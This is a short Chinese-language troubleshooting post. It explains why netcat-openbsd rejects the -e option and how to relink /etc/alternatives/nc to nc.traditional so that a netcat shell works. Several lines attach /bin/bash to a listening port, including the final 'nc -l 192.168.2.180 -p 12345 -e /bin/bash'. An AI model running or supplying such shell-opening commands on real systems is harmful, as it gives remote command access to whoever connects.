nc反彈shell的時候出現錯誤

nc: invalid option — ‘e’

This is nc from the netcat-openbsd package. An alternative nc is available

in the netcat-traditional package.

以下是修復思路

$ which nc

/bin/nc

$ ls -ld /bin/nc

lrwxrwxrwx 1 root root 20 10月 24 2012 /bin/nc -> /etc/alternatives/nc

$ ls -ld /etc/alternatives/nc

lrwxrwxrwx 1 root root 19 2月 13 10:03 /etc/alternatives/nc -> /bin/nc.traditional

實際上我們要找的這是個文件 /bin/nc.traditional :

$ /bin/nc.openbsd -l -p 9999 -e /bin/bash

/bin/nc.openbsd: invalid option -- 'e'

usage: nc [-46DdhklnrStUuvzC] [-i interval] [-P proxy_username] [-p source_port]

[-s source_ip_address] [-T ToS] [-w timeout] [-X proxy_protocol]

[-x proxy_address[:port]] [hostname] [port[s]]

$ /bin/nc.traditional -l -p 9999 -e /bin/bash

^C

$

結合以上的輸出消息，我們可以通過下面這段命令修復:

$ sudo rm /etc/alternatives/nc && sudo ln -s /bin/nc.traditional /etc/alternatives/nc

修復后再試試，沒錯誤提示就shell反彈成功!

$ nc -l 192.168.2.180 -p 12345 -e /bin/bash